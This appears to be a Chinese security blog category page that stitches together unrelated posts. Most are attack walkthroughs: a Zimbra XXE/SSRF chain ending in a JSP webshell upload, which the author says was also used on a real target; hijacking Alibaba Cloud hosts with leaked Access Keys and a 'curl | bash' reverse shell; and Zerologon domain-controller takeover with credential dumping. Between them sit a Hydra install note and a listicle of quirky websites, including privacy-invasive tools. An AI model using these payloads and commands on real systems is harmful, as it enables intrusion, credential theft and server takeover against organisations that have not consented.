分类 文章资料 下的文章

前言

近期在测试一个目标的时候发现对方好几个zimbra的服务器,按照网上提供的利用方法测试了之后发现利用不成功!接着自己搭建了zimbra在自己进行测试之后成功利用并且拿下zimbra服务器!

zimbra 环境搭建
搭建的方法我是按照网上帖子搭建的!很不错!

https://www.jianshu.com/p/722bc70ff426

环境搭建首先需要一个ubuntu的系统,并且更新好源,接着就安装辅助包!
配置

Ubuntu14.04-64位
root权限
磁盘剩余空间25G
RAM 4G

实现步骤

安装辅助包
配置hostname和DNS服务器
下载和安装Zimbra
测试安装

安装辅助包
链接服务器,并执行以下命令来安装相应的包

apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget

1.png

配置hostname和DNS服务器

vi /etc/hostname
更改hostname为自己的域名,例如mail.test.com

vi /etc/hosts 添加如下代码
172.16.25.242(本机IP) mail.test.com mail

2.png

编辑dnsmasq的配置

vim /etc/dnsmasq.conf
server=172.16.25.242
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1

3.png

安装Zimbra
第一步 下载并解压文件,执行如下命令来下载文件

wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

执行如下命令来解压文件

tar -xvf zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

然后进入此文件,如果接下来安装的时候遇到这个问题,就需要单独安装一个依赖才行!

wget http://th.archive.ubuntu.com/ubuntu/pool/universe/g/gmp4/libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

dpkg -i libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

4.png

第二步 安装
执行以下文件来安装

sudo ./install.sh

在这个过这个过程中会出现这样的选择,接着输入“y”,然后继续。遇到以下情况应该这样选择

5.png

这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包你需要等一会,因为安装这些包是需要一些时间的。
下一步是配置Zimbra-store的管理员账号密码,看如下代码:

Main menu

1) Common Configuration:                                                  
2) zimbra-ldap:                             Enabled                       
3) zimbra-logger:                           Enabled                       
4) zimbra-snmp:                             Enabled           
5) zimbra-mta:                              Enabled            
6) zimbra-store:                            Enabled                       
..............
6) zimbra-spell:                            Enabled                       
7) zimbra-proxy:                            Enabled                       
8) Default Class of Service Configuration:                                
s) Save config to file                                                    
x) Expand menu                                                            
q) Quit                                    

Address unconfigured (**) items  (? - help) 6

选择“6”,然后会出现

Store configuration

1) Status:                                  Enabled                       
2) Create Admin User:                       yes                           
3) Admin user to create:                    [email protected]     
.....                       
24) Install UI (zimbra,zimbraAdmin webapps): yes 

Select, or 'r' for previous menu [r] 4

选择“4”,然后输入密码即可,之后的操作如下:

Main menu

1) Common Configuration:                                                  
.......                                                      
q) Quit                                    

*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.11647] 
Saving config in /opt/zimbra/config.11647...done.
The system will be modified - continue? [No] yes

最后,你需要等待Zimbra配置完成。使用su - zimbra命令切换用户,zmcontrol status查看zimbra服务器状态

6.png

接着访问 访问IP:7071端口,跳转zimbra管理页面 ,注意这个是需要使用HTTPS协议来访问

7.png

zimbra RCE 漏洞靶机复现

Zimbra的配置文件是在 /conf/localconfig.xml 这个文件里面的!里面有保存到一些配置信息的用户名和密码!
首先的话需要先验证是否有CVE-2019-9670 XXE漏洞,接着抓取到它的数据包,这里需要带入cookie的数据包,发到重放中之后修改为POST模式来进行数据发送,接着URL修改为 /Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。接着带入XML的POC

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
  <EMailAddress>aaaaa</EMailAddress>
  <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

8.png

读取到了 /etc/passwd 文件代表了具有CVE-2019-9670 XXE漏洞。接着需要构造payload来读取zimbra的配文件localconfig.xml。由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd。dtd内容:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

接着再次使用刚刚的包请求XML来进行XXE攻击。

<!DOCTYPE Autodiscover [
    <!ENTITY % dtd SYSTEM "http://地址/dtd">
    %dtd;
    %all;
    ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
 <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
 </Request>
 </Autodiscover>

9.png

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。访问到 /service/soap 或/service/admin/soap 接着进行 抓包并且修改为POST模式。还要修改Content-Type: application/xml 。XML的内容如下:

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
   <context xmlns="urn:zimbra">
       <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
   </context>
</soap:Header>
<soap:Body>
 <AuthRequest xmlns="urn:zimbraAccount">
    <account by="adminName">zimbra</account>
    <password>上一步得到密码</password>
 </AuthRequest>
 </soap:Body>
</soap:Envelope>

接着发送数据包过去,这里他就返回回来一个低权限的Token了。这个Token需要保存,等下会用到。

10.png

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin",并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议。但是这里通过SSRF失败了,通过/service/admin/soap获取高权限token

11.png

还有一种情况!一开始我按照公开提供的SSRF利用手法!在获取高权限token的时候,如果指定cookie 的等级为 ZM_AUTH_TOKEN 的时候会验证失败 ,出现如下的效果!

12.png

但是如果把cookie的等级替换为 ZM_ADMIN_AUTH_TOKEN 高权限的TOKEN的时候 就可以获取得到了!

13.png

接着利用刚刚获取到的高权限的TOKEN 来进行文件上传,把webshell上传上去!

import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("ss.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(" </pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
 "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_65ae5d9b75c34c538cd72a658f7de7d32a9ec7f9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630353233373838313432323b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313832383739333130393b;",#改成自 己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.8.155:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

接着访问到这个webshell,这个webshell需要有高权限的Cookie才可以访问得到这个webshell!

14.png

15.png

实战 zimbra RCE

复现这个漏洞主要就是遇到了这个邮箱服务器!并且存在XXE读取文件!前面的准备都是为了这一刻!!!!!
首先获取它的数据包,利用了CVE-2019-9670 XXE漏洞来读取配置文件。Zimbra配置文件位置为/conf/localconfig.xml。接着抓取到它的数据包,这里需要带入cookie的数据包。接着放到重放去,修改请求方式为POST,并且带入URL :/Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。

16.png

这里已经成功的读取到了用户的信息。说明XXE攻击成功了!接着需要构造payload来读取zimbra的配文件localconfig.xml。

17.png

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。

18.png

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin",并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议,并且COOKIE需要更换为 ZM_ADMIN_AUTH_TOKEN 带上刚刚获取的 COOKIE。

19.png

接着通过python脚本来上传到对方的服务器中!一开始访问这个木马地址是需要高权限的COOKIE才行的!

20.png

成功了!哈哈哈哈哈哈哈

最近在HW中有攻击队使用Access Key拿下阿里云ECS服务器的案例,来总结一下利用的过程。

为什么要上云

首先要说说为什么许多企业开始选择将服务部署在云上。90年代初期甚至中期的时候,企业自己养开发人员,IT部门自己开发、自己实施、自己培训、自己运维、自己客服支持,甚至布网线、修打印机万金油。后来企业软件需要的技术越来越复杂,功能越来越复杂,企业就养不起那么多专业的开发人员了,就开始购买外部的商业软件公司的软件产品和实施支持服务了。(抄自知乎)

对于中小企业来说,服务器落地在本地意味着更高的成本、更高的风险,将网络环境直接部署到云环境中可以极大的降低此类成本
大型企业拥有专业的生产、安全等团队,上云的需求主要由本身的业务带动,并没有那么急迫。

云的概念

云服务本身分为三种,Laas\PaaS\SaaS
IaaS: Infrastructure-as-a-Service(基础设施即服务)
PaaS: Platform-as-a-Service(平台即服务)
SaaS: Software-as-a-Service(软件即服务)

1.png

具体就不展开了,网上有很多详细的解释,不是本篇的重点略过了

公有云、私有云、混合云

公有云
阿里云就属于公有云,依托阿里进行日常维护,高可靠性、低维护成本、扩展性强。

私有云
私有云指的是厂商分给专供某家企业独家使用的云服务,可以自定义硬件规格。使用私有云的通常为政企、金融等大型单位。它会比公有云更加安全;扩展性、定制化程度更高。

混合云
混合云就是公有云和私有云的混合,对外系统可以分布在公有云上对公网开发,而内部的数据库等敏感系统放在私有云上只有自己可以访问。

通过Access Key拿阿里云具体流程

通过各种途径去收集一波Access Key,比较常见的方法:

APK文件中存放Access Key Web页面/JS文件等 Github查找目标关键字发现Access Key与AccessKey Secret 拥有WebShell低权限的情况下搜集阿里云Access Key利用

github还是比较多的,可以改动一下关键字进行搜索

2.png

找到后如果可以确认为阿里云主机则可以继续开始后续步骤

3.png

(来自 https://www.moonsec.com/archives/1098

拿到AK后使用阿里官方的管理工具:行云管家可以通过导入AK获得一个云主机实例

导入云主机实例

登陆行云管家:https://yun.cloudbility.com/
在创建团队后导入一个公有云主机

4.png

填入Access Key、AccessKey Secret就可以完成导入
那么进来之后来到基础运维,可以直接重置云主机的密码,实现接管

5.png

当然作为正义的安服仔我们是不会干出这种事情的(走投无路也不是不行),这时候就需要提到阿里云的一个接口:OpenAPI Explorer.通过该接口可以直接操作让云主机执行命令

大佬整理的感觉会是比较常用的命令:

6.png

操作接口

接口中我们主要会用到两个函数:CreateCommand和InvokeCommand,可以直接搜索使用

7.png

第一个函数的作用是生成一条指令,第二个函数则是调用这个命令。
简略的展示一下调用过程:CreateCommand.py->生成Commandid->使用Commandid生成InvokeCommand.py->执行InvokeCommand.py实现RCE

选择CreateCommand,RegionId选择主机所在地区(可以在行云管家中看到),Name可以随便填,Type指的是执行那类命令,windows主机可以使用powershell和bat、linux主机可以使用sh脚本。这里不理解的地方可以点击右上角的小问号查看帮助。

8.png

然后CommandContent填的就是需要执行的命令的Base64

我们愉快的填入bash反弹shell的脚本,然后就可以点击右边的python选项,然后点击“调试”按钮

9.png

然后在下方会弹出一个Cloud shell,并自动安装所欲要的类库

10.png

通过vim ./CreateCommand.py修改脚本中的Access Key与AccessKey Secret参数,需要注意的是这里要删掉本来存在的中括号等字符

11.png

(这么黑我也没办法)

修改完后保存退出,执行python CreateCommand.py,获得Commandid

12.png

在创建完命令后,需要去调用这条命令。选择InvokeCommand,填入RegionId,CommandId(就是刚刚执行完获得的),InstanceId(云主机实例id:在行云管家中可以看到)

13.png

14.png

填完后还是在右边选择python,并且选择“调试”,见上图。此时Cloud shell会创建一个InvokeCommand.py。同样的先通过vim命令修改Access Key与AccessKey Secret,然后执行python InvokeCommand.py,命令也就成功在云主机上执行了
然后!就出现了坑爹的情况,bash反弹被拦了。

15.png

那么这个时候我们就要重新调用CreateCommand、InvokeCommand去尝试哪些命令可以过,这里放最后成功反弹的payload:curl "http://xxxx:8080/bash_shell.sh" | bash。bash_shell.sh里放的还是之前的bash反弹shell的命令

那么在我们自己的vps上用python起一个8080端口的http服务,然后放个反弹bash的sh在上面,然后nc开启监听,使用上面的payload再CreateCommand->InvokeCommand来一次,成功收到反弹回来的shell

16.png

http:

17.png

nc:

18.png

后话:

到这里通过AK拿下阿里云主机就复现完了,也是有遇到几个坑但是总的来说利用过程还是比较方便的。如果可以拿到阿里云主机的Access Key的话,利用该接口去getshell或许也是个不错的选择
此次试验中只复现了linux主机的利用过程,windows的话只是利用的命令会改变,其他流程都是相同的
另外这种攻击手段并不仅限于阿里云主机,还有比如Amazon的AWS主机也存在相似的利用手法,但是Amazon获取到的AccessKey权限并没有像阿里云那么大,阿里可以直接获取OSS和ECS主机信息,而Amazon通过IAM创建用户和组来限制AccessKey的权限。

参考文章:云渗透思路从报错信息泄露到使用ECS接口执行命令反弹shell

https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra/releases

1.安装hydra

依赖包:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev

wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz --no-check-certificate

tar zxf v9.1.tar.gz

cd thc-hydra-9.1

./configure

make

make install

hydra –v(验证安装是否成功)

2.联动Nessus

ln -s /usr/local/bin/hydra /usr/bin/hydra

service nessusd stop

/opt/nessus/sbin/nessusd -R

service nessusd start

国庆宅在家里,大概除了上网还是上网了。

最近扩展迷在后台收到了不少咨询,有小伙伴提到,似乎我们已经很久没有给大家推荐网站了。

今天,扩展迷就来给大家推荐一波比较小众,但非常有意思的神奇网站,相信一定有你喜欢的。

★100000 Stars

http://stars.chromeexperiments.com/

带你遨游星际,理工科独有的浪漫。

谷歌推出的Chrome实验项目“十万颗星星”,为普通人提供了银河系漫游的机会,从各个角度欣赏壮观的银河。

全三维的高清交互式体验,使人们能够近距离地观察星星。

1.gif

单击任意一颗星球,可以查看它的详细介绍,拖动鼠标就能360°旋转。

时常仰望浩瀚宇宙,意识到自己的渺小,或许能让你对人生有一个全新的认知。

2.gif

Perseid meteor shower

https://www.meteorshowers.org/

跟上一个网站差不多,以可视化互动的方式来观察流行雨的形成以及运行轨道。

网站数据由NASA埃姆斯研究中心提供,点进去就可以从太空视角观赏流星雨了,非常美。

3.gif

凶宅集

http://www.xiongzhaiji.com/index.html

逛完了太空,来看点阴间的东西。

所谓凶宅,也就是曾经有人横死的房子,横死即非自然死亡,譬如意外,自杀,他杀等等。

这样的房子,穷人买不起,富人不敢买,人人敬而远之。

但是近年来,随着线上交易的盛行和房价的持续走高,凶宅拍卖也成了大家热议的话题。

4.png

凶宅集,应该是国内首个凶宅综合信息平台,由V2EX论坛大神于2018年推出。

截止目前,上面已经收录了12个城市的6000余条凶宅信息,包括新闻资讯和坊间故事。

大神表示,开发这个平台,是为倡导明示凶宅信息,公平合理交易。

5.png

如果你觉得凶宅集上的故事不够过瘾,那么还可以看一看“香港最齐凶宅资料库”。

该网站号称提供全方位服务的房地产公司,所以你可以在此页面查找从1977年至今香港所有区域的凶宅信息。

https://www.squarefoot.com.hk/sc/房产指南/凶宅/全部/

6.png

死囚遗言

https://www.tdcj.texas.gov/death_row/dr_executed_offenders.html

死囚在被执行死刑之前,真的忏悔了吗?

美国德克萨斯州刑事司法部的官方网站上,有一个专门为死囚建立的公开数据库,任何人都可以在浏览被执刑人(已被处决囚犯)的具体信息。

7.png

数据库收录了从1982年至今在该司法部被执行死刑的500多名囚犯,记录着他们的编号、真实姓名、身高体重、所犯刑事案件等。

这些死囚的罪状不一,比如抢劫盗窃、帮派斗争、宗教活动......

8.png

看了他们的案例,或许大家才能更直观地了解这些人穷凶极恶的程度。

比如上图中的Ochoa,就在2002年枪杀了自己的妻子、两个女儿(分别为7岁和9个月)、岳父、妻子的妹妹。

9.png

重点是,这个数据库还记录了他们在被执行死刑前的最后遗言。

然而从大部分遗言来看,他们多是在表达对兄弟朋友和上帝的爱,却很少对自己的行为表达忏悔和歉意。

所以,人之初,到底是性本善还是性本恶呢?

10.png

AI在线人脸识别女优

xslist.org/zh

有时候,无意中对网友分享的一张gif动图或者视频截图一见钟情,却苦于找不到番号,该怎么办呢?

这个网站,可以帮助你在线利用AI智能人脸识别女优,如果你看到一部佳片却不知道女主角是谁,那么这个网站也可以成为你的必备神器。

而且,它还会提供这些女优的作品番号,你懂的。

11.png

IKnowWhatYouDownload

https://iknowwhatyoudownload.com/

一个通过DHT网络查询指定IP下载过哪些种子资源的网站。

简而言之,这个网站可以利用磁力链接下载文件留下的痕迹,追踪你以及你附近IP下载过的内容。

看看邻居、室友最近都在看些啥类型的爱情动作片吧,说不定会有惊喜发现。

12.png

此外,这个网站还能够统计全世界人民下载什么类型磁力最多,当然,全世界人民下载得最多的莫过于——小黄片了。

13.png

小霸王模拟器

https://www.yikm.net/

不知道你有没有做过这种梦,梦里回到小时候,在电视机前和小伙伴抢着玩小霸王。

去年,国内一名开发者自己搞了个小霸王模拟器,提供了许多经典游戏供玩家体验。

14.png

基本上你有印象的经典游戏,在这里都能玩到。

最耳熟能详的魂斗罗、冒险岛、忍者神龟、坦克大战......美版、日版等多个版本全都收录其中,非常全面。

15.png

最有趣的是,游戏界面也是一台模拟的街机,玩家可以通过下方的菜单栏调整按键操作、全屏、保存进度等等。

当然,想开金手指,想跟小伙伴联机,也是可以的。

现在做小霸王游戏的并不少,但玩了一圈下来,很少有像这个模拟器这样充满情怀又精致的了。

16.png

王者荣耀排名生成器

https://cc.bjadjty.com//cx3/2498

想装X,就用它。

有了王者荣耀排名生成器,全服第一不是梦。

此外,该网站还有很多其他的生成器,比如支付宝余额、微信钱包余额、结婚证等等,大家可自行体验。

17.png

Nooooooooooooooo

http://nooooooooooooooo.com/

生活中,我们总是会面临一些让人难以拒绝的要求。

“想找你借点钱,可以吗?”“不借。”

碍于人际关系、面子等原因,有时我们内心再抗拒,嘴上也很难说出口,哪怕仅仅是一个单词。

Nooooooooooooooo这个网站,旨在帮助人们喊出内心的真实想法。

18.png

打开网站,按下蓝色按钮,就可以听到一声饱含愤怒的“No!!”

19.png

你可以说这个网站很沙雕,但说不定哪天就派上用场了呢?

环境

1.攻击机 windows 10
2.域控服务器 windows server 2012 192.168.139.147
3.python 3.8
4.复现工具,大概看了下,工具基本都差不多,这个帮助写的比较详细(但是楼主在复现过程中,还是遇到许多坑),https://github.com/VoidSec/CVE-2020-1472

复现流程

1.检测是否可利用
2.将域控密码设置为空
3.恢复原来的域控密码

坑点

1.要用最新版的Impacket v0.9.22.dev1+20200915.160006.1397e2b5
2.linux下执行脚本在出现$之类的特殊字符需要转义,我在window下执行,没遇到这个问题
3.域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图

1.png

4.显示颜色乱码的话,在脚本开头处添加:

import os
os.system("")

关于坑点1:
在windows中有python启动器,py -3指定使用python3,防止选错python版本

安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版

安装过程:
先卸载旧版本:
py -3 -m pip uninstall impacket

安装新版本:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
py -3 setup.py install

报错说明


1.AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决
2.secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下
3.[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没。

检测和利用

关于坑点3,这一步要输入计算机名

py -3 cve-2020-1472-exploit.py -n 2k12vitcim -t 192.168.139.147

参数:

-n  计算机名
-t  域控ip

获取管理员ntlm hash

secretsdump.py -no-pass -just-dc [email protected]

参数:

-no-pass    无密码登录
-just-dc    仅提取NTDS.DIT​​数据(NTLM哈希和Kerberos键)
[email protected] 计算机名[email protected]域控ip

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
<li> Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
此处省略
<li> Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:73ecb6feb447b5c734f1b6819b7dea3d91165f6d1c6fefc9169208c8548bfeaa
此处省略
<li> Cleaning up...

获取域控shell和导出域控计算机帐户的原始NT哈希

执行以下命令,获取域控的shell:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868 2k12test.com/[email protected]

参数:

-hashes 域管理员的nthash:lmhash
2k12test.com/[email protected]  域/域管理员账户名@域控ip

然后在获取到的shell中执行以下命令,导出域控计算机帐户的注册表文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save

执行以下命令,在本地获取域控计算机帐户的原始NT哈希:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

正常的输出:

Impacket v0.9.22.dev1+20200915.160006.1397e2b5 - Copyright 2020 SecureAuth Corporation

<li> Target system bootKey: 0xb1a104ff3738f1a53c78e57a6662ea84
<li> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3c39341d869ebba9f4d09b58adf16868:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<li> Dumping cached domain logon information (domain/username:hash)
<li> Dumping LSA Secrets
<li> $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8a8fea4a70166fae078958bf69441290
<li> DPAPI_SYSTEM
dpapi_machinekey:0x6750d5c297f09dcbc8c595d3b578d1e6bcf99fd2
dpapi_userkey:0x7f509a6c59339522545664b4db73d393d15bd2e3
<li> NL$KM
0000   58 98 99 4F 48 70 C3 24  65 38 D0 73 05 8A 4F BA   X..OHp.$e8.s..O.
0010   F7 AD DC 33 DA E2 D3 2F  B7 4A 72 D6 C7 55 8A 90   ...3.../.Jr..U..
0020   59 52 74 40 99 77 FA D6  BF 4C 5A B7 A4 8B 43 DE   [email protected]
0030   E8 39 6F BA 39 D3 C6 DF  E4 3C 73 98 1E 23 DC 09   .9o.9....<s..#..
NL$KM:5898994f4870c3246538d073058a4fbaf7addc33dae2d32fb74a72d6c7558a90595274409977fad6bf4c5ab7a48b43dee8396fba39d3c6dfe43c73981e23dc09
<li> Cleaning up...

恢复原来的域控hash

使用上一步中,$MACHINE.ACC:plain_password_hex:后面的值作为参数,执行:

py -3 reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1

正常的输出:

reinstall_original_pw.py 2k12vitcim 192.168.139.147 e0bf26bbac26ad8eb7d529565a8d3497059197aef079318a68c94f05376dda655ceafa4c385630ad0a99067f7e80cea795eb42e7043d57942cb4d131c4a4cd95cfd3e245180f72c887ad5bddaddea4b778a536ccaf75152cfc2efedbd09b74fa77766c5258fb01eeb43574e5aa1a4572b79a6d54c7ccf212543cc4e31def988ac32f0a6b1185b85150bc6ff1a074864d5808c23f4afc05c08da37d89591c7711d4246639c35e780a006c967424b5373adf2559af2196ee0dcfed57fadf5d59603fbb193382decccdde1ff3e1edd2691c04d618f4c72ac9b579c54df2c53378ec5df50ec766b1dcbe87566af365eb2ba1
Performing authentication attempts...

======================================================================================================================================================================================================================================================================================================================================

NetrServerAuthenticate3Response
ServerCredential:
Data: b'xdexcfAaQ3x1a*'
NegotiateFlags: 556793855
AccountRid: 1002
ErrorCode: 0

server challenge b'xdeax10x90x15qxc3t'
session key b'Usxb2xd9#x8cx132x98Zv,xb6xb5S^'
NetrServerPasswordSetResponse
ReturnAuthenticator:
Credential:
Data: b'x01x14xd2xd0x11xb9x02xc4'
Timestamp: 0
ErrorCode: 0

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.